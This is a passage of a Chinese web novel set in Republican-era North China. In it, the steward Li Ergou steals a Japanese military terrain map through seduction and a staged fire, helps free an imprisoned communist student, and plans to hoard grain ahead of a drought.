酒井空被李二狗骂了一句,幸福地闭上眼睛,紧紧地贴在他的胸口,感受他强劲而有力的心跳声。 李二狗闭上眼睛装睡,当他听到酒井空传来均匀的呼吸声时,便悄然下了床。 刚打开房门,身后突然传来酒井空的声音。 “你要去哪?” 李二狗心脏突突地跳个不停,一时想杀她的心都有了! 可井伊商社有很多人看到他俩一起上了楼,李二狗赶紧深吸一口气,让自己的心平复下来。 转身时,脸上已挂满笑容。 “我想去趟卫生间,是不是吵醒你了?” 酒井空打开床头灯,赤身裸体走向李二狗,李二狗做好了鱼死网破的心理准备。 “傻瓜,房间里就有卫生间,你还出去干嘛?” 李二狗解释道:“我怕吵醒你,还是出去上吧。” “我都已经醒了,你还担心什么?快去吧。” 李二狗只能关上门,进入卫生间。 他坐在马桶上,大脑快速思索着接下来的对策。 卫生间有一个窗户,李二狗打开窗户,向外看了看,正好有一根雨水管直通楼下。 “二狗先生,你怎么了?怎么这么久?” 听到敲门声,李二狗赶紧把窗户关上,说道:“我吃不惯日本料理,有点拉肚子,马上就好了。” 李二狗从卫生间出来,酒井空问道:“没事吧?” “好多了,今天吃了很多生的东西,肚子有些不适应。” “等你以后吃多了就习惯了,生吃才能吃出食物的本来味道。” 李二狗看着精神亢奋的酒井空,心想,如果不把她累成一摊泥,今晚自己就没有出去的机会了。 他能等,可宋小曼等不了。 想到遍体鳞伤的宋小曼,李二狗顿时充满了干劲! “酒井小姐,我们继续吧……” “二狗先生,求之不得……” 一时间地动山摇,炮声震天,李二狗真正使出了洪荒之力。 酒井空终于累得支撑不住,沉沉睡去。 第195章 脑海中闪过一道亮光 “酒井,酒井。” 李二狗轻喊了两声,酒井空并没有回应,他迅速起身下了床。 李二狗纵使是铁打的身体,此时只觉得两腿发软,走在路上仿佛踩在棉花上一般。 来到二楼明石有信的办公室,李二狗掏出细铁丝,插入锁孔,轻轻地转动了几下,门锁发出“啪”的一声,房门便打开了。 他左右瞅了瞅,迅速进入房间。 明石有信的办公室很大,分为里外两间,足有七八十平米。 李二狗掏出事先准备好的小手电筒,先搜查了他的办公桌,抽屉并没有上锁,李二狗连打开的兴趣都没有。 搜查完了办公桌,李二狗又搜查了书架、衣柜等所有可疑的地方,一无所获。 最令李二狗感到蹊跷的是,办公室里竟然没有保险柜,这实在是令人不可思议。 随着时间的流逝,李二狗的心情愈发紧张。 明石有信到底会把华北五省地形地貌图藏在什么地方呢? 藏在什么地方,也许只有明石有信知道,但他肯定不会主动告诉自己。 突然,李二狗的脑海中闪过一道亮光。 他走到门口,打开房门,楼道里漆黑一片,空无一人。 他掏出细铁丝,打开对面的房门,发现是一间仓库。 再也没有比这个房间更合适的地方了。 李二狗掏出火柴,点燃了地上的一堆文件。 看着越来越大的火势,李二狗开心地笑了。 他走到楼道里,捏着鼻子大声喊道:“失火了!失火了!” 然后悄然躲进了明石有信的办公室,关上房门,躲到窗帘后面。 很快,门外就传来一阵喧哗声和日语叽里呱啦的声音。 井伊商社的人开始忙着救火。 “快快地,一定把火扑灭。” 这是明石有信的声音。 紧接着,房门打开,李二狗透过窗帘缝看到明石有信一张紧张的脸。 他径直走到书架前,不知道动了一个什么机关,书架竟从中间分开向两边滑去。 原来书架后面有个暗格,镶嵌在墙里。 明石有信打开暗格,拿出一个文件袋,他从文件袋里抽出一张叠好的纸,这才露出了放心的笑容。 正当他准备拿着文件袋离开时,身后被人猛地劈了一掌,顿时昏死过去。 李二狗把文件袋揣在怀里,插好明石有信办公室房门,然后从窗户爬出去,沿着雨水管爬到三楼,通过窗户爬入酒井空的卫生间。 李二狗从里面悄然打开卫生间的门,看到酒井空在床上睡得正香甜,她实在是太累了。 他走到床前,迅速脱掉衣服,然后才趴在酒井空面前,喊道:“酒井、酒井……” 酒井空睁开朦胧睡眼,看是李二狗,说道:“狗儿,我不行了,明天早上再说吧。” 李二狗说道:“我听到外边有动静,还有烧焦的味道,好像是失火了。” “失火了?” 酒井空从床上坐起来,用力闻了闻,确实有一股烧焦的味道,外边的喧嚣声也越来越大。 “我得出去看看是什么情况!”酒井空边说边穿衣服。 “酒井,要不然我还是走吧?让别人看到咱俩住一起,好说不好听啊。” 酒井空想了想,被别人看到确实有所不妥。 “狗儿,你别出去,我出去看看就回来。” “我怕火势控制不住,要是烧到二楼就麻烦了。” “你说的有道理,那你还是趁乱离开吧,我们改日再联系。” 酒井空亲了李二狗一口。 “真舍不得你走。” “来日方长,我先走了。” 李二狗趁着井伊商社众人救火造成的混乱,离开了井伊商社。 出了井伊商社的大门,李二狗来到一处隐蔽的地方。 他从怀里拿出文件袋,从文件袋里掏出地形图。 他把地形图平铺到地上,借着手电筒发出的微弱光亮,果然是一张华北五省的地形地貌图,上面不仅详细标注了华北五省山川河流的具体位置,更重要是国民政府在华北五省的军事部署也标注的一清二楚。 日本人要是按照这张地图进攻华北,华北将无任何秘密可言。 日本人的狼子野心可见一斑。 李二狗收好地图,看了看腕上的手表,此时已是凌晨二点。 等明石有信醒来,发现地形图被抢,李二狗想象的到会发生什么。 酒井空的第一怀疑对象肯定是李二狗,但她会告诉明石有信吗? 一旦告诉明石有信,李二狗又是她带回井伊商社的,她会受到怎样的惩罚? 关键是她并没有抓到李二狗偷盗的直接证据! 不过李二狗已经顾不得这些,先想办法救出宋小曼再说。 他径直来到中华大街9号的那家书店,轻轻敲了敲房门。 “谁?” “我是李二狗!” 老王立即听出是李二狗的声音,他赶紧打开房门让李二狗进来,又伸出头看了看外边,没有发现异常情况才放心地关上房门。 “李先生,你怎么这个点过来?出什么事了?” 李二狗从怀里掏出文件袋。 “这是华北五省地形地貌图,我刚刚从井伊商社偷出来的。” 老王惊得披在身上的衣服掉在地上都没有察觉,他接过文件袋,从里面掏出地图,铺在桌面上看了起来。 “李二狗先生,你实在是太伟大了,全体中国人民都得感谢你。” 老王紧紧握住李二狗的手,激动的老泪纵横。 比起全体中国人民的感谢,李二狗此刻更关心如何救出宋小曼。 “老王,地形图已经到手,接下来我们怎么去救宋小曼?” “李先生,你有什么建议?” 李二狗心中已然有了一个主意,他想利用这幅地形图和日本人做交易,让他们放了宋小曼。 “老王,你能不能安排人去和日本人谈判,利用这幅地形图逼日本人放了宋小曼。” 老王神情凝重,在屋内徘徊了两圈,方才说道:“李先生,你可能不太了解日本人,他们是一群有小礼而无大义的人,如果利用这幅地形图和他们做交易,救不救得出宋小曼暂且不说,他们肯定会千方百计地除掉我们,夺回地形图。” 李二狗已经急得双眼冒光! 第196章 号外!号外! “那我们可以让他们先放人!”李二狗建议道。 “先放人?”老王冷笑道,“那之后地形图给不给他们?给,伤害的是中国,不给,他们会放过宋小曼吗?她可是胡家大院的三姨太,日本人会顺藤摸瓜找到并除掉你和她。” “那怎么办?不能再拖了,我担心宋小曼扛不住他们的酷刑!” “是啊,不能再拖了,日本人发现地形图被抢,肯定会想尽一切办法来逼宋小曼同志开口。” “那我们直接把地形图交给省政府。” 老王笑了。 “你以为省政府会感谢我们吗?他们中的很多人早已被日本人收买,他们就是日本人的走狗。另外,仅仅凭借这幅地图也不能证明就是井伊商社所为,他们一样有理由不放宋小曼。” “这也不行,那也不行,到底怎样才行?” 李二狗急得直跺脚! “李先生,你先别着急,我倒有一个主意可以一试。” “什么主意?” “广泛发动群众,在舆论上给省政府和日本人施加压力,就不信他们不屈服!” 李二狗懵逼了! 发动群众? 怎么发动群众? 谁去发动群众? 群众会听你的吗? 舆论又是什么? 舆论怎么能施加压力? 李二狗想得头都大了。 “李先生,剩下的事情你不用管了,我现在需要出去一趟,你等我的好消息吧。” 老王穿好衣服,拿着华北五省地形地貌图出了门。 第二天早上,省城的大街小巷全是报童的卖报声。 “号外!号外!” “日本特务窃取我华北五省军事部署!” “号外!号外!” “日本欲侵略我中国!” 成百上千的报童举着新出版的《黄河早报》叫卖! 报纸头版头条刊登了日本特务窃取华北五省地形地貌和军事部署的所作所为,并刊登了《华北五省地形地貌图》的模糊照片。 “打倒日本帝国主义!” “把日本特务驱逐出境!” “释放爱国学生宋小曼!” 大街上出现大批学生和工人,他们举着横幅、高喊口号,浩浩荡荡地奔赴省政府和井伊商社。 中外记者和看热闹的民众齐聚省政府门前,把它围得水泄不通。 “把日本特务驱逐出境!” “释放爱国学生宋小曼!” 省政府主席夏瀚林看着桌上的《华北五省地形地貌图》,气得破口大骂。 “这是谁送来的?人呢?抓起来没有?” 秘书吓得大气不敢喘。 “夏主席,这张地图一大早就出现在省政府传达室,不知道是谁送来的。” “妈了个巴子!这张地图要是让委员长看到,非得砍了我们的脑袋不可!你们都是干什么吃的?” 秘书急得满头大汗,说道:“夏主席,当今之计,还是先安抚好示威的人群才好,听说他们还去了井伊商社,如果局势失控,很可能演变为中日国际纠纷,到时候就更难收场了。” “张连才在哪?还没有到吗?” “张局长已经在门外候着了。” “让他滚进来!” 城关警察局局长张连才急得一脑门子汗。 “夏主席。” 夏瀚林指着张连才的鼻子破口大骂。 “张连才,你个狗日的,你到底能不能干?不能干老子立马换人!” “夏主席,请您息怒,我觉得一定是共产党在背后捣的鬼,我已经安排人,发现共产党立马逮捕!” 夏瀚林听了张连才的话,抓起桌上的茶杯砸向张连才,张连才吓得连躲都不敢躲。 他此刻关注的是如何不被南京国民政府问责,如何尽快平息舆论带来的压力,至于什么共产党不共产党的,他根本不关心。 “妈了个巴子!天天就是抓共产党,抓共产党!小命都快没有了!你拿什么抓?” 张连才连连点头,汗如雨下。 “夏主席,我们接下来怎么办?还请示下!” “妈了个巴子!”张连才还想去抓桌上的茶杯,发现已经被他扔到了地上。 “马上把那个女学生宋小曼放了,然后派人去井伊商社,一定不能让他们伤了日本人!” 张连才说道:“夏主席,人可以放,可我担心日本人那边如果不给一个说法,民众这关恐怕过不去啊!” “先去把人放了,先稳控住局势再说。” 张连才答应着退了出去。 “大家静一静,听我说,我们已经查明,宋小曼是被冤枉的,我已经安排人去释放!大家还是先散了吧。” “把日本特务驱逐出境!” “把日本特务驱逐出境!” “大家冷静一下,我们没有直接证据,仅凭一张地形图是无法给日本人定罪的!谁能证明地图是日本人画的?” “我们要见夏瀚林!” “让夏瀚林出来!” “让夏瀚林出来!” 张连才看大家的情绪越来越激烈,便给旁边的一个人使了个眼色,那个人立马会意,带着两名警察直接来到示威人群最前面的一个人面前。 “我们怀疑你是共产党,跟我们走一趟!” 示威人群看警察不仅不驱除日本特务,还要抓领头的人,立马炸了! 两个学生勇敢地挡在那个人身前,其余的学生一哄而上,把那两个警察打的鼻青脸肿,狼狈逃窜! “让夏瀚林出来!” “让夏瀚林出来!” 示威人群手拉着手向前涌,眼看就要冲破警察设置的警戒线。 “再敢向前,老子就开枪了!” 张连才话刚出口,中外记者的照相机就对着他噼里啪啦照个不停。 “妈了个巴子!” 张连才听到夏瀚林的声音,刚一回头就结结实实挨了他一个大耳光。 “竟敢对学生动手,你他娘的还算是警察吗?忘恩负义的东西!” 张连才捂着红肿的脸不敢再言语。 “同学们,我是夏瀚林,大家听我说。” 示威人群最前面的那个人转身挥了挥手,示意大家先安静下来。 “同学们,大家反映的问题,我已经向上面进行了汇报,但调查取证需要一定的时间,请大家给我们一点时间,我一定会给大家一个满意的答复,好不好?” “好,我们就给你三天时间,三天之后如果没有回复,我们就去南京国民政府请愿。” “好,我答应大家,三天之内一定给你们一个满意的答复,大家快回去上课吧。” 第197章 你是有意的 人群散去,夏瀚林表情凝重! 日本人他得罪不起,南京国民政府他更得罪不起,此事如何解决,他心里一点谱都没有! 还是拖吧,能拖一天算一天! 以他的为官经验,很多难以解决的事情拖着拖着也就解决了! “夏主席。” 张连才虽然挨了打,心里觉得委屈,但夏瀚林如果一气之下,撤了他警察局局长的职务,他哭都找不着地方。 所以他只得赔着笑脸,原地等候夏瀚林的指示。 “废物!真是废物!你还愣着干什么?赶紧派几个人盯着那几个领头的,还有那个女学生,如果查实是共产党,立马抓起来。” “是!是!夏主席英明!夏主席英明!” “妈了个巴子!真是废物!” 宋小曼被从警察局释放出来,但李二狗并没有去警察局门口迎接她。 他雇了一个黄包车车夫,提前在警察局门口等着,宋小曼一出现,立马拉上她直奔城西。 两个警察穿着便衣悄悄尾随,被躲在暗处的李二狗看得一清二楚。 李二狗悄悄跟了上去。 前面的黄包车夫按照李二狗提前安排的路线,在小胡同里来回穿梭。 两个警察苦苦跟随,在一个胡同口弯着腰大口大口地喘着粗气。 “他妈的,这黄包车到底要去哪,累死老子了。” “老子也累死了!怎么感觉他娘的是在遛咱哥俩呢?” 李二狗悄然出现在他们身后,嘴角露出一丝诡异的笑容。 “砰!” 两颗头被按住,猛地碰到一起,两人登时昏死过去。 黄包车夫把宋小曼送到一个荒废的土地庙门前,按照李二狗提前的吩咐,他放下宋小曼头也不回地走了。 宋小曼正在迷茫之际,李二狗出现在她面前。 “李二狗,怎么是你?” “你想是谁?” “是你救了我?” “不只是我,还有你的同志。” 宋小曼瞠目结舌,嘴唇颤抖着不知该说什么。 “这里不是说话的地方,”李二狗走到土地爷爷塑像后面掏出一个包袱,“这里有衣服,你先换上,我先带你离开再说。” 宋小曼接过衣服,发现小小的土地庙里竟没有一个方便她换衣服的地方。 李二狗背过身,说道:“情况紧急,你就凑合一下吧。” 身后传来宋小曼窸窸窣窣脱衣服的声音,时而还会传来几声轻微的呻吟声。 宋小曼身上的伤口已经结疤,黏在衣服上,一脱衣服火辣辣地疼。 “三奶奶,你身上的旧衣服就先别脱了,直接穿上就好。” 宋小曼身上的衣服已脱去一半,此时脱也不是,穿也不是,她的胳膊痛得根本抬不起来。 “你……帮帮我。” 李二狗闻言转身,看到宋小曼酥胸半露,身姿妖娆,堪比神女,一时只顾着看,完全忘记了该做什么。 宋小曼娇嗔道:“也不怕看眼里拔不出来,快点帮我把衣服穿上。” 李二狗这才回过神来,宋小曼身上伤痕累累,自己却还用男人世俗的目光去审视她,真是禽兽。 不对!是禽兽不如! “对不起,对不起,我不是故意的。” “你是有意的!” “我……” “你什么你,快来帮我穿上。” 宋小曼满脸娇羞,似是恼怒,嘴角却挂着似有似无的笑容。 李二狗轻轻抬起宋小曼的胳膊,帮她伸到一只袖子里,抬手的瞬间,里面的春光一览无余。 他的哈喇子差点流出来滴到宋小曼胸口。 他赶紧狂咽口水,好不容易才帮她把衣服穿好。 “谢谢你!” “这都是我应该做的。” 李二狗说完,觉得这话有些别扭,他竟一时显得有些慌乱。 “我去推车。” “车?” 李二狗笑了笑,走到土地爷爷塑像后面推出一辆自行车。 “走吧,我带你去一个安全的地方。” 宋小曼对李二狗刮目相看,从她出警察局到现在,这一系列操作证明他比自己更适合干地下工作。 李二狗骑车带着宋小曼来到一处小院,这是他前段时间在省城悄悄购置的,没有任何人知道。 宋小曼上下打量着院子,疑惑地问道:“这是哪里?” “放心吧,这里很安全。” 进入屋内,李二狗拿出一个提前准备好的药箱。 “小曼,你身上的伤口需要马上处理,不然很容易发炎。” 宋小曼显得十分难为情,这里只有他们两个人,好在也只有他们两个人。 她默默地闭上眼睛。 对于李二狗来说,给宋小曼脱衣服抹药是一种煎熬。 他不能有那方面的心思,可克制那方面的心思对一个正常男人来说实在是太难受了。 只因宋小曼太馋人! 血肉粘连在她衣服上,尽管李二狗已经非常非常小心,但宋小曼还是不时发出轻微的呻吟声,她在尽量控制,但还是忍不住。 脱掉衣服,李二狗眼含热泪,轻轻地为她身上的伤口消毒、涂药、包扎。 他心里咒骂了特务无数遍,怎么能对如此晶莹剔透的女子下如此狠手,简直是畜生。 抹完药,李二狗又为宋小曼穿上衣服。 李二狗汗流浃背,宋小曼则一张俏脸通红通红。 屋内气氛一时有些尴尬,两人都不知道该说什么。 “你……” “我……” “我去给你买点早饭,你先休息一会。” 说完之后,李二狗赶紧走了出去。 宋小曼脸上绽放着羞涩的笑容。 这个李二狗,以前倒没发现他如此可爱。 李二狗买了早饭回来之后,宋小曼已经躺在床上睡着了,嘴角竟然挂着一丝微笑。 李二狗实在无法想象,这样一个柔弱的女子竟会是共产党,敌人的严刑拷打竟不能使她屈服。 他不忍叫醒她,静静地坐在床边看了一会,然后起身离开了。 来到中华大街9号的书店,他特意在书店门口的馄饨摊吃了一碗馄饨,确定周围没有异常之后,才走进书店。 老王看到李二狗,悬着的心才终于放下来。 来到书店后面的房间,老王急忙问道:“宋小曼的情况怎么样?” “她很好,现在在一个很安全的地方。” “警察盯得紧,宋小曼同志以后不能再回胡家大院了。” 李二狗也有这个意思,但话从老王口中说出来时,他心里却有一种深深的落寞感。 也许以后再也见不到她了! 第198章 我信你个鬼 李二狗回到吴公馆。 “李先生,井伊商社的酒井空小姐找您,让您一回来就给她回电话。” 酒井空打电话,而没有采取其他方式,说明她并没有把自己的事情告诉明石有信,她是一个聪明女人。 “酒井小姐,你好。” “李先生,你觉得我会好吗?” “怎么?酒井小姐这么快又想我了?我现在还两膝发软,实在是有心无力啊。” “李二狗,你……无耻!” “哈哈,酒井小姐这话是什么意思?有些事情我一个人可做不来。” “你……,中午十二点,京都料理店,我等你。” 酒井空说完,直接挂断电话。 李二狗拿着电话发了半天呆,见或者不见,有利亦有弊,最后他还是决定见她一面。 防人之心不可无,李二狗带上了一把枪。 虽然他和酒井空在床上表现得很默契,但那只是逢场作戏,对于日本人,尤其是妖艳的日本女人,李二狗不得不防。 他准时来到京都料理店。 店内顾客并不多,一个女服务员见李二狗进来,小碎步挪到李二狗身前,先鞠了一躬,随后问道:“请问您是李二狗先生吗?” “我是。” “请跟我来。” 女服务员把李二狗引到一个包厢门前,轻轻敲了敲房门,然后推开房门,酒井空正面无表情地坐在里面。 “先生,您请。” “谢谢!” 李二狗竟也变得绅士起来。 女服务员关上门之后,李二狗刚坐到酒井空对面,还未说话,酒井空已经把手枪顶在了他的脑门上。 李二狗微微一笑,说道:“酒井小姐的枪很精致。” “说,昨晚是不是你打晕了明石社长,偷走了华北五省地形地貌图?” “酒井小姐,原来报上说的华北五省地形地貌图真的是你们井伊商社所为?你们到底是什么人?” 酒井空被李二狗的反问弄得有些懵,她恍惚的瞬间,李二狗已然把她手中的手枪夺在自己手里。 “李二狗,你……” 李二狗玩弄着这把精致的小手枪。 “酒井小姐,有话好好说,何必动刀动枪呢?要是伤着自己,我可是会心疼的。” “李二狗,你到底什么人?” 李二狗微微一笑,说道:“我是中国人!” “这么说你是承认打晕明石社长并偷走华北五省地形地貌图了?” “酒井小姐,欲加之罪,何患无辞!我根本就不知道你在说什么!那晚我们做了什么,你心里没数吗?整个晚上都没消停,我哪来的时间去打晕明石社长?” 酒井空只记得两人缠绵了很久很久,确实是精疲力尽,以至于外面失火自己都毫无察觉。 “真的不是你?” “当然不是我!如果你不相信,就用这把枪打死我!” 李二狗把手枪“啪”的一声拍在酒井空面前,酒井空完全相信了李二狗。 “狗儿,对不起,是我错怪你了!” “空儿,我不怪你!” 两个人的手握在一起,四目相对,花火四射。 “空儿,你告诉我实话,你们井伊商社真的只是一个普通的商社?报上说的到底是不是真的?” “井伊商社当然只是一个商社,你不要相信小报上的那些言论。不得不说,你们中国人有时候真的很偏激,对我们日本人抱有很大的敌意!其实中日两国完全可以精诚合作,共建大东亚共荣圈。” “那华北五省地形地貌图是怎么回事?” “狗儿,我只是一个小助理,有些事我又怎么会知道呢?你不相信我吗?” 李二狗心想,我信你个鬼! 嘴上却说道:“我当然相信你!” “狗儿,有件事我要告诉你。” “什么事?” “社里已经决定把我调回日本,我们下次见面不知道是什么时候了。” 酒井空泪眼婆娑,不像是在说谎。 “为什么?为什么要突然把你调走?” “不止是我,明石社长也要调回日本。” 明石有信丢失了华北五省地形地貌图,差点引起中日国际纠纷,日本总社把他调回日本也是合情合理。 “有缘自会相见,空儿,我会想你的。” “狗儿,今晚你还会来吗?” 李二狗实在不忍心拒绝她,但今晚他真的没有时间。 “我们还是别等到晚上了,我现在带你去个地方。” 酒井空心领神会,顿时羞红了脸颊。 李二狗回到吴公馆时,吴有德正在发火,静雯站在一旁,不知该如何安慰。 “干爹这是怎么了?” “明石有信要回国,和干爹的合作泡汤了。” 前期为了勘探煤矿,吴有德投入大量资金,谁承想煤矿还未开采,明石有信却要被调回国。 “干爹,您先消消气,即使明石有信被调回国,但咱们是和井伊商社在合作,新来的社长也不能不认账啊。” “二狗,你有所不知,这次明石有信惹了大麻烦,南京国民政府已经向日本领事馆提出外交抗议,日本政府为了消除影响,也为了给国民政府一个交代,已经决定关闭井伊商社在中国的分社,咱们的那些投资全都打了水漂。” 李二狗着实吃惊不小,没想到井伊商社中国分社要关闭。 “干爹,井伊商社虽然走了,但那些煤矿他们又搬不走,不还在咱们中国吗?” “二狗,你太幼稚了!现在上上下下有多少双眼睛在盯着那些煤矿?你觉得那些煤矿还会姓吴吗?他们不杀我,已经是我花了很大的代价换来的。和日本特务勾结,这是多大的罪名!” 李二狗早就劝过吴有德不要和日本人来往,可他总是不听,这次也算花钱买个教训。 “干爹,事已至此,生气也没有用,就当破财免灾吧!您别生气了,以后在其他生意上找补回来就行了。” “哎,我吴有德玩了一辈子鹰,没想到临了却被鹰啄了眼,真是晦气!” 李二狗虽然一开始就不赞成吴有德和日本人做生意,但今天的结果多多少少也是他造成的,他有心弥补一下吴有德的亏空。 “干爹,我倒有个主意,应该可以赚回一些钱。” 第199章 二狗,我会想念你的 听到李二狗有赚钱的主意,吴有德脸色稍缓。 “二狗,你有什么好主意,说出来给干爹听听。” “干爹,这次来省城之前我特意去全省各地做过调查,今年全省普遍干旱,夏粮减产已是板上钉钉的事实。” “全省各地都干旱?你确定?” “确定,我专门安排人做的现场调查。” 在交通闭塞的年代,信息就是金钱。 李二狗未说做什么生意,吴有德已经猜到他要说什么,不愧是老生意人。 “二狗,现在贸易行我已经交给静雯打理了,有什么主意你们俩商量着做吧,需要钱提前和我说一声。” “干爹,这么大的事情还得您拿主意才行,我们有点吃不准啊。” 吴有德心想,你小子嘴上粘上毛比猴还精,还在我面前扮猪吃老虎。 “二狗,你知道干贸易行最忌讳的一件事是什么吗?” “什么事?” “囤货,十家倒闭的贸易行,最少有九家倒在囤货上。货要是囤不好,把钱全变成货,货再囤死了,你哭都找不着地方。” “干爹,既然囤货这么危险,这次你怎么还支持囤货?” “正所谓富贵险中求,这囤货要是能囤好了,确实能狠赚一把,所以眼光很重要。” “干爹,既然你同意,那我们就干了?” “干吧,但是要循序渐进,分批吃进,一定不要让别人发现咱们的企图。” “放心吧,干爹,我心里有数。” 静雯和李二狗回到卧室,静雯才忍不住问道:“二狗,你和干爹说了这么多,到底是要囤什么?” “傻瓜,”李二狗捏了捏她的小翘鼻,“当然是囤粮食。” 静雯这才恍然大悟。 第二天,静雯去上班后,李二狗上街为宋小曼买了一些衣服和吃食。 来到院子里,宋小曼已经能下地行走。 “感觉怎么样?” “好多了。” 不知道为什么,现在李二狗见到宋小曼,总有一种局促感,好像自己做了什么错事一般。 “小曼,为了你的安全,你以后不能再回胡家大院了。” 宋小曼脸上闪过一些落寞,也许是心有不舍。 “老王已经和我说过了,他已请示上级组织,组织同意把我派到南方根据地工作,今晚就出发。” 李二狗沉默了,他想挽留,但又知道不能挽留,他更知道,想挽留也挽留不住。 “你心里是不是有很多话想问我?” 李二狗点了点头。 宋小曼把一把椅子推到李二狗身前,笑道:“你先坐下,我给你讲讲我的故事,也许以后再也没有机会了。” 离别在即,李二狗只能默默坐下,深情凝视着心中的白月光,一时有些百感交集。 “三年前,我还在省城师范大学读书,那是我第一次接触到共产党宣言,立即被这种全新的主义所吸引。” “我的一位老师是一名共产党员,他向我们灌输中国共产党的革命纲领、革命任务以及党的路线、方针和政策。” “你从那时候就加入了中国共产党?” 宋小曼笑道:“那时候我哪里够资格?我只是一名共产主义青年团团员。” “共产主义青年团团员?什么是团员?” “共产主义青年团是中国共产党领导的先进青年的群团组织,是党的助手和后备军。” 宋小曼说得太过专业,李二狗根本听不懂。 “其实就是入党积极分子,在你加入中国共产党之前,组织会考察你,你只有在共产主义青年团表现优异,组织才会考虑吸纳你加入中国共产党。” “后来呢?” “后来,反动军阀发动了反革命政变,我的老师和很多同学都死在了敌人的刺刀之下……” 说到这,宋小曼早已泪流如下,当年那个凄惨的情景至今仍历历在目。 李二狗从兜里掏出手绢,有一瞬间,他很想亲自为宋小曼拭去眼角的泪水,但还是把手绢递到她手中。 宋小曼接过手绢,攥在手中,任泪水铺满双眼。 “后来你怎么去了胡家大院?” “我在一位老师的掩护下,侥幸逃脱。但反动军阀倒查清算,杀害了我的父母,我也上了他们的悬赏公告。” “所以你在走投无路之下嫁给了老爷?” “如果我说我没有真正嫁给他,这些年他也根本没有碰过我,你信吗?” 打死李二狗他也不信! 宋小曼叹息一声,说道:“我就知道你不会信。” 李二狗急忙否认道:“我没有不信,只是觉得有些不可思议。” “我被反动军阀追捕,逃进了胡家大院,胡士高垂涎于我的美色,便收留了我。” 李二狗没想到胡士高竟然还做过英雄救美的事,只可惜他并不是一个英雄。 “为了感谢他,所以你做了他的三姨太?” 宋小曼脸上闪过一丝尴尬的神色,但李二狗理解她的选择,一个弱女子,在走投无路之下做出这种选择,合情合理,谁都不是圣人! 比起又要当婊子又要立牌坊的行为,李二狗更欣赏宋小曼的真实。 “我承认,当时我胆怯了,因为社会上都在传言,我们的人已经被反动军阀赶尽杀绝了!” “你刚才说胡士高没有把你怎么着,你是怎么做到的?” 宋小曼苦笑道:“其实很简单,我告诉了他我的真实身份,我警告他,如果他敢碰我一下,我立马就去告发他收留我,最后他怂了。” “没想到你还挺有头脑。” “其实这几年我一直痛恨自己当初的软弱,我恨我自己,我厌倦了这种苟且偷生的日子,我无数次想过结束自己的生命,直到前些天我偶然遇到以前的一个同学,他告诉我,我的一位老师正在省城开展地下工作,他邀请我一起去省城投入到我们未尽的事业当中。” 李二狗这才明白,当初宋小曼为何那么痛快地答应到省城照顾胡士高。 “小曼,恭喜你,终于逃离了那个地方。” “二狗,谢谢你,如果没有你,这次我真的……” “小曼,不用说这些,其实我挺佩服你的。” “二狗,如果你愿意,我可以介绍你加入我们,我们可以一起为中国革命的胜利而奋斗。” 李二狗笑了笑,说道:“小曼,不怕你笑话,其实我是一个小富即安的人,我离不开那块生我养我的土地,我得回去也必须回去。” “每个人都有每个人的选择,我尊重你的选择!二狗,我会想念你的。” “我也是!” 第200章 李二狗疯了 “念秋,三奶奶已经失踪好几天了,你作为她的贴身丫鬟,真的不知道她去哪里了吗?” 念秋吓得立马跪在地上。 “狗哥,李管家,我真的不知道三奶奶去了哪里,她真的没告诉我啊。” 李二狗急得在屋内踱来踱去。 “你说这可如何是好?三奶奶平白无故失踪了,回去之后,大奶奶要是怪罪下来……哎!” “李管家救我!李管家救我!” “好了,念秋,起来吧,你是我妹子,我怎么能不救你呢?记住,以后不论谁问,我们就一口咬定三奶奶是自己离开的,我们什么都不知道。” “我都听你的,狗哥。” “念秋,还得再辛苦你一段时间,留在这里照顾老爷。” “狗哥,放心,这都是我应该做的。” 李二狗塞给念秋十块大洋,念秋自然又是一番感恩戴德。 吴有德派车,把李二狗送回胡家大院。 “二狗,你该把老爷接回来。” “兰芝,在哪等死不是等死?接回来全家都跟着遭罪。” 于兰芝想了想,感觉李二狗的话挺有道理。 “宋小曼那个小蹄子在省城怎么样?伺候老爷上不上心?” 李二狗说道:“我正要和你说这件事,三奶奶她失踪了。” “失踪了?我看是跟哪个野男人私奔了吧?这个小蹄子,我早就看出她不是什么好雏!” “她走了也好,老爷现在这种情况,多一个人反而多一份麻烦。” 于兰芝心领神会,说道:“还是你花花肠子多,等找个机会再把老爷新纳的那几个小蹄子都撵出去。” 李二狗知道,离胡家大院姓李的日子越来越近了。 “兰芝,买粮的事怎么样了?” “我正要和你说这件事,二驴按照你的安排,最近这些日子购买了大量的粮食,咱们仓库已经装不下了,你看,咱们是不是先别买了?” 李二狗想了想,说道:“我先去看看情况再说。” 此时,张二驴已经在门外等候。 “李管家,我有事向您汇报。” “走,我们去磨坊看看,边走边说。” “李管家,按照您的吩咐,最近咱们胡家大院一共购买了差不多有五十万斤小麦,仓库差不多都堆满了。” “收购价格有变化吗?” “变化倒不大,比刚开始时上涨了差不多有一成,为了防止本地粮价波动,我安排人在全省各地进行购买,李管家,在收购中,我发现一个情况。” “什么情况?” “我发现咱们县也有其他人在大量购买粮食。” 李二狗微微有些吃惊,没想到张二驴心思如此细腻。 他表面装作很淡定,问道:“是什么人知道吗?” “我私下里打听了一下,”张二驴脸上一副神秘的表情,“你猜是谁?” “少他娘卖关子,有话快说,有屁快放!” 张二驴和陈老三一个尿性,属于李二狗越骂心里越有底的人。 “嘿嘿,是清风寨的土匪。” “清风寨的土匪?他们只有几十号人而已,能买多少?二驴,你可不要听风就是雨。” “我知道,我知道。” 张二驴嘿嘿一笑,他只是想告诉李二狗,自己办事懂得见微知著,他也知道,一个土匪窝确实买不了多少粮食。 “李管家,我还发现一个情况,省城有一家贸易行正在大量收购粮食,我分析,粮价很快就会上涨。” 李二狗没想到,静雯那边刚开始大批量收购粮食,张二驴这边就已经得到消息,看来粮价上涨势在必行。 两人来到磨坊,仓库里堆满了一麻袋一麻袋的小麦。 “二驴,干的不错,接下来你有什么打算?” 张二驴知道这是李二狗在故意考自己,幸好他早有准备。 “李管家,我建议咱们趁着粮价目前上浮不大,继续收购小麦。” 张二驴的回答倒是出乎李二狗的意料。 “继续收购小麦?现在仓库已经满了,如果继续收购,储存在哪?” 张二驴说道:“李管家,照现在的情形来看,粮价上涨势在必行,我们现在多收购一些,临时找个储存的地方,等粮价上涨之后可以立即出手,稳稳地赚个差价。” “二驴,你的想法很好,但你有没有想过,咱们胡家大院还有多少现钱?” 张二驴摸了摸脑袋,尴尬地一笑:“这个我倒没想过。” “自从上次被清风寨抢了之后,胡家大院元气大伤,现在老爷又病着,我看就先这样吧,二驴,现阶段我们还是以稳为主,不出事就是大功一件,你懂我的意思吧?” “多谢李管家教诲,我懂了。” 